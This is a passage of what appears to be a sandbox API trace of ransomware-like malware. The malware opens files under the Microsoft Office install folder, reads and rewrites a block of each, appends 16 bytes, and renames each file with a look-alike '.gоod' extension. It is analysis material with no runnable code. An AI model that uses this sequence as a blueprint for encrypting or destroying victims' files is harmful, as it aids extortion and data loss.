dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0140.248] GetFileType (hFile=0x618) returned 0x1 [0140.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0140.248] GetFileType (hFile=0x618) returned 0x1 [0140.248] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xbb60 [0140.248] WriteFile (in: hFile=0x618, lpBuffer=0x3919bb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3919bb8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0140.249] CloseHandle (hObject=0x618) returned 1 [0140.249] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", lpFilePart=0x0) returned 0x3f [0140.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0140.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\interceptor.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0140.250] GetFileType (hFile=0x618) returned 0x1 [0140.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0140.250] GetFileType (hFile=0x618) returned 0x1 [0140.250] ReadFile (in: hFile=0x618, lpBuffer=0x391d8a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x391d8a8*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0140.277] CloseHandle (hObject=0x618) returned 1 [0140.278] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", lpFilePart=0x0) returned 0x3f [0140.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0140.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\interceptor.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0140.278] GetFileType (hFile=0x618) returned 0x1 [0140.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0140.278] GetFileType (hFile=0x618) returned 0x1 [0140.278] WriteFile (in: hFile=0x618, lpBuffer=0x391c610*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x391c610*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0140.278] CloseHandle (hObject=0x618) returned 1 [0140.278] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", lpFilePart=0x0) returned 0x3f [0140.278] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb.gоod", lpFilePart=0x0) returned 0x44 [0140.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0140.278] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\interceptor.tlb"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2b97d2d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2b97d2d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4fd3cfdf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbb70)) returned 1 [0140.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0140.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\interceptor.tlb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\interceptor.tlb.gоod")) returned 1 [0140.279] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", lpFilePart=0x0) returned 0x38 [0140.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0140.279] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe"), fInfoLevelId=0x0, lpFileInformation=0x399af58 | out: lpFileInformation=0x399af58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48)) returned 1 [0140.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0140.279] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", lpFilePart=0x0) returned 0x38 [0140.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0140.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0140.280] GetFileType (hFile=0x618) returned 0x1 [0140.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0140.280] GetFileType (hFile=0x618) returned 0x1 [0140.280] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0140.280] ReadFile (in: hFile=0x618, lpBuffer=0x399b330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x399b330*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0140.439] CloseHandle (hObject=0x618) returned 1 [0140.439] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", lpFilePart=0x0) returned 0x38 [0140.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0140.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0140.440] GetFileType (hFile=0x618) returned 0x1 [0140.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0140.440] GetFileType (hFile=0x618) returned 0x1 [0140.441] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1979a48 [0140.441] WriteFile (in: hFile=0x618, lpBuffer=0x391b800*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x391b800*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0140.463] CloseHandle (hObject=0x618) returned 1 [0140.463] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", lpFilePart=0x0) returned 0x38 [0140.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0140.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0140.463] GetFileType (hFile=0x618) returned 0x1 [0140.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0140.463] GetFileType (hFile=0x618) returned 0x1 [0140.463] ReadFile (in: hFile=0x618, lpBuffer=0x3947410, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3947410*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0140.491] CloseHandle (hObject=0x618) returned 1 [0140.491] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", lpFilePart=0x0) returned 0x38 [0140.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0140.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0140.492] GetFileType (hFile=0x618) returned 0x1 [0140.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0140.492] GetFileType (hFile=0x618) returned 0x1 [0140.492] WriteFile (in: hFile=0x618, lpBuffer=0x3946188*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3946188*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0140.492] CloseHandle (hObject=0x618) returned 1 [0140.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe", lpFilePart=0x0) returned 0x38 [0140.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe.gоod", lpFilePart=0x0) returned 0x3d [0140.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0140.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4ff2d0d4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1979a58)) returned 1 [0140.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0140.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe.gоod")) returned 1 [0140.493] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", lpFilePart=0x0) returned 0x38 [0140.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0140.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico"), fInfoLevelId=0x0, lpFileInformation=0x39c4848 | out: lpFileInformation=0x39c4848*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x286c9)) returned 1 [0141.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0141.182] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", lpFilePart=0x0) returned 0x38 [0141.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0141.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0141.224] GetFileType (hFile=0x61c) returned 0x1 [0141.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0141.224] GetFileType (hFile=0x61c) returned 0x1 [0141.224] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0141.224] ReadFile (in: hFile=0x61c, lpBuffer=0x3caba48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3caba48*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0141.226] CloseHandle (hObject=0x61c) returned 1 [0141.226] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", lpFilePart=0x0) returned 0x38 [0141.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0141.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0141.226] GetFileType (hFile=0x61c) returned 0x1 [0141.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0141.226] GetFileType (hFile=0x61c) returned 0x1 [0141.226] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x286c9 [0141.226] WriteFile (in: hFile=0x61c, lpBuffer=0x3cad600*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3cad600*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0141.227] CloseHandle (hObject=0x61c) returned 1 [0141.227] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", lpFilePart=0x0) returned 0x38 [0141.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0141.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0141.228] GetFileType (hFile=0x61c) returned 0x1 [0141.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0141.228] GetFileType (hFile=0x61c) returned 0x1 [0141.228] ReadFile (in: hFile=0x61c, lpBuffer=0x3cb0e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3cb0e50*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0142.415] CloseHandle (hObject=0x61c) returned 1 [0142.415] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", lpFilePart=0x0) returned 0x38 [0142.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0142.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0142.415] GetFileType (hFile=0x61c) returned 0x1 [0142.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0142.415] GetFileType (hFile=0x61c) returned 0x1 [0142.415] WriteFile (in: hFile=0x61c, lpBuffer=0x3614ef0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3614ef0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0142.416] CloseHandle (hObject=0x61c) returned 1 [0142.416] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", lpFilePart=0x0) returned 0x38 [0142.416] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico.gоod", lpFilePart=0x0) returned 0x3d [0142.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0142.416] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x511a73dd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x286d9)) returned 1 [0142.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0142.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico.gоod")) returned 1 [0142.417] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", lpFilePart=0x0) returned 0x50 [0142.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0142.417] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync2013_third_party_notices.txt"), fInfoLevelId=0x0, lpFileInformation=0x3aa4ce0 | out: lpFileInformation=0x3aa4ce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a913cc8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x223d)) returned 1 [0142.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0142.417] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", lpFilePart=0x0) returned 0x50 [0142.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0142.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync2013_third_party_notices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0142.417] GetFileType (hFile=0x61c) returned 0x1 [0142.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0142.418] GetFileType (hFile=0x61c) returned 0x1 [0142.418] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0142.418] ReadFile (in: hFile=0x61c, lpBuffer=0x3aa5178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3aa5178*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0142.419] CloseHandle (hObject=0x61c) returned 1 [0142.419] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", lpFilePart=0x0) returned 0x50 [0142.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0142.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync2013_third_party_notices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0142.419] GetFileType (hFile=0x61c) returned 0x1 [0142.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0142.420] GetFileType (hFile=0x61c) returned 0x1 [0142.420] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x223d [0142.420] WriteFile (in: hFile=0x61c, lpBuffer=0x3aa64b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3aa64b0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0142.422] CloseHandle (hObject=0x61c) returned 1 [0142.422] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", lpFilePart=0x0) returned 0x50 [0142.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0142.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync2013_third_party_notices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0142.422] GetFileType (hFile=0x61c) returned 0x1 [0142.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0142.422] GetFileType (hFile=0x61c) returned 0x1 [0142.422] ReadFile (in: hFile=0x61c, lpBuffer=0x3aa8930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3aa8930*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0142.450] CloseHandle (hObject=0x61c) returned 1 [0142.450] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", lpFilePart=0x0) returned 0x50 [0142.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0142.450] CreateFileW (lpFileName="C:\\Program 